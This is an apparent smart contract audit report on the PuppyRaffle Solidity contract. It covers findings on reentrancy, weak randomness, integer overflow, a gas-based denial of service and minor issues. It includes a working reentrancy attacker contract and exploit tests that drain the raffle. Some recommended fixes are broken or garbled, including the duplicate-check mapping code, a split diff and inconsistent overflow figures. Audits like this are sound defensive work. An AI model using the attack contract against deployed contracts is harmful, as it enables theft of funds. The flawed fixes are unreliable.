

PuppyRaffle Audit Report



Version 1.0

equious.eth

June 5, 2026

PuppyRaffle Audit Report

Rsy.io

June 5, 2026

Prepared by: [Rsy] Lead Auditors: - Rsy - Patrick

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance
 - * [H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy
 - * [H-3] Integer overflow in `PuppyRaffle::totalFees` loses fees
 - Medium

- ★ [M-1] Lopping through players array to check for duplicates in players array in `PuppyRaffle::enterRaffle` is a DoS attack , increasing gas for the future entrants
- ★ [M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
- Low
 - ★ [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle
- Gas
 - ★ [G-1] Unchanged state variables should be written constant or immutable
 - ★ [G-2] Storage variables in a loop should be cached
- Informational
 - ★ [I-1] Solidity pragma should be specific, not wide
 - ★ [I-2] Using an Outdated Version of Solidity is Not Recommended
 - ★ [I-3] Missing checks for `address(0)` when assigning values to address state variables
 - ★ [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
 - ★ [I-5] Use of “magic” numbers is discouraged
 - ★ [I-6] State Changes are Missing Events
 - ★ [I-7] `_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- Call the `enterRaffle` function with the following parameters:
 - `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- Duplicate addresses are not allowed
- Users are allowed to get a refund of their ticket & value if they call the `refund` function
- Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- The owner of the protocol will set a `feeAddress` to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Rsyp team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Likelihood	Impact: High	Impact: Medium	Impact: Low
High	H	H/M	M
Medium	H/M	M	M/L
Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/  
## PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	7
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance. In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
    ↪ refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
    ↪ refunded, or is not active");

    @> payable(msg.sender).sendValue(entranceFee);
    @> players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
}
```

Impact: All fees paid by raffle entrants could be stolen by a malicious participant.

Proof of Concept: 1. User enters the raffle 2. Attacker sets up a contract with a fallback function that calls `PuppyRaffle::refund` 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the PuppyRaffle balance.

Proof of Code:

PoC

Add the following to `PuppyRaffle.t.sol`

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

```
}

// test to confirm vulnerability

function test_reentrancyAttack() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new
    ↪ ReentrancyAttacker(puppyRaffle);
    address attacker = makeAddr("attacker");
    vm.deal(attacker, 1 ether);

    uint256 startingAttackContractBalance =
    ↪ address(attackerContract).balance;
    uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

    vm.prank(attacker);
    attackerContract.attack{value: entranceFee}();

    console.log("attackerContract balance: ",
    ↪ startingAttackContractBalance);
    console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
    console.log("ending attackerContract balance: ",
    ↪ address(attackerContract).balance);
    console.log("ending puppyRaffle balance: ",
    ↪ address(puppyRaffle).balance);
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
    ↪ can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
    ↪ refunded, or is not active");
    + players[playerIndex] = address(0);
}
```

```
+   emit RaffleRefunded(playerAddress);
    payable(msg.sender).sendValue(entranceFees);
-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
}
```

[H-2] Weak Randomness in PuppyRaffle::selectWinner allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves. **Note:** This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept: 1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and use that to predict when/how to participate. See the solidity blog on [prevrandao](#). `block.difficulty` was recently replaced with `prevrandao`. 2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner! 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy. Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow in PuppyRaffle::totalFees loses fees

Description: In solidity versions prior to 0.8.0, integers were subject to overflows.

```
uint64 var = type(uint64).max;
//18446744073709551615
var = var + 1;
//integer overflows and we get 0
```

Impact: : In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.


```
// twentyEth = 20000000000000000000 // type(uint64).max = 18446744073709551615 // uint64(twentyEth)
= 1553255926290448384
```

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then add 89 players enter a new raffle and conclude the raffle
3. totalFees will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 8000000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will not be able to withdraw due to the line in PuppyRaffle::withdrawFees:

PoC

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 8000000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a second
    //   ↪ raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
}
```

```
    assert(endingTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require
    ↪ check
    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation:

1. Use newer versions of solidity above 0.8.18
2. Alternatively, we use uint256 instead of uint64;
3. Remove the balance check in `PuppyRaffle::withdrawFees`
 - `require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");`
 - Found in `src/PuppyRaffle.sol` Line: 3

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's SafeMath to prevent integer overflows. 1. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

2. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
↪ There are currently players active!");
```

Medium

[M-1] Lopping through players array to check for duplicates in players array in `PuppyRaffle::enterRaffle` is a DoS attack , increasing gas for the future entrants

Description: The `PuppyRaffle::enterRaffle` functuin loops through the `players` array to check for duplicates ,But it increases the gas costs for future players to enterRaffle meaning the people who enter raffle earlier will pay dramatically less gas than who enter late.

```
// @audit Dos Attack
@> for(uint256 i = 0; i < players.length -1; i++){
```

```
    for(uint256 j = i+1; j< players.length; j++){
        require(players[i] != players[j], "PuppyRaffle: Duplicate Player");
    }
}
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in queue. An attacker might make the `PuppyRaffle:entrants` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept: If we have 2 sets of 100 players each, the gas costs are as follows - 1st 100 players :~6503222gas - 2nd 100 players :~18995462gas

This is nearly 3x times greater

PoC

```
function test_DOS() public {
    //for 1st 100 players
    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < players.length; i++) {
        players[i] = address(i);
    }
    uint256 gasBefore = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    uint256 gasAfter = gasleft();

    uint256 gasUsed = gasBefore - gasAfter;
    console.log("Gas used to enter raffle with 100 players: ", gasUsed);

    //for 2nd 100 players
    address[] memory playersSecond = new address[](playersNum);
    for (uint256 i = 0; i < playersSecond.length; i++) {
        playersSecond[i] = address(i + 100);
    }
    uint256 gasBeforeSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee *
    ↪ playersNum}(playersSecond);
    uint256 gasAfterSecond = gasleft();

    uint256 gasUsedSecond = gasBeforeSecond - gasAfterSecond;
    console.log("Gas used to enter raffle 2nd 100 players: ",
    ↪ gasUsedSecond);
    assert(gasUsedSecond > gasUsed);
}
```

Recommended Mitigation:

1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle id.

```
+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId = 0;
+
+
+ function enterRaffle(address[] memory newPlayers) public payable {
+     require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
↪ Must send enough to enter raffle");
+     for (uint256 i = 0; i < newPlayers.length; i++) {
+         players.push(newPlayers[i]);
+         addressToRaffleId[newPlayers[i]] = raffleId;
+     }
+
+     // Check for duplicates
+     // Check for duplicates only from the new players
+     for (uint256 i = 0; i < newPlayers.length; i++) {
+         require(addressToRaffleId[newPlayers[i]] != raffleId,
↪ "PuppyRaffle: Duplicate player");
+     }
+     for (uint256 i = 0; i < players.length; i++) {
+         for (uint256 j = i + 1; j < players.length; j++) {
+             require(players[i] != players[j], "PuppyRaffle: Duplicate
↪ player");
+         }
+     }
+     emit RaffleEnter(newPlayers);
+ }
+
+
+
+ function selectWinner() external {
+     raffleId = raffleId + 1;
+     require(block.timestamp >= raffleStartTime + raffleDuration,
↪ "PuppyRaffle: Raffle not over");}
```

[M-2] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart. Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check. **Impact:** The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting. Also, true winners would not be able to get paid out, and someone else would win their money! **Proof of Concept:**

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over! **Recommended Mitigation:** There are a few options to mitigate this issue.
4. Do not allow smart contract wallet entrants (not recommended)
5. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low**[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle**

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

```
function getActivePlayerIndex(address player) external view returns
    ↪ (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0. You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be written constant or immutable

Reading from storage is much more expensive than constant or immutable

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read the storage, as opposed to memory which is more gas efficient.

```
+ uint256 playerLength = players.length;

- for (uint256 i = 0; i < players.length - 1; i++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
-         require(players[i] != players[j], "PuppyRaffle:
↪ -Duplicate player");
-     }
- }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

[I-2] Using an Outdated Version of Solidity is Not Recommended

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendations: Deploy with any of the following Solidity versions: 0.8.18 The recommendations take into account: - Risks related to recent releases - Risks of complex code generation changes - Risks of new language features - Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for address(0) when assigning values to address state variables

Assigning values to address state variables without checking for address(0). - Found in src/PuppyRaffle.sol Line: 69

```
feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 159

```
previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 182

```
feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
  _safeMint(winner, tokenId);
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name. Examples:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

```
uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
↪ POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol. It is best practice to emit an event whenever an action results in a state change. Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] `_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
- function _isActivePlayer() internal view returns (bool) {  
-     for (uint256 i = 0; i < players.length; i++) {  
-         if (players[i] == msg.sender) {  
-             return true;  
-         }  
-     }  
-     return false;  
- }
```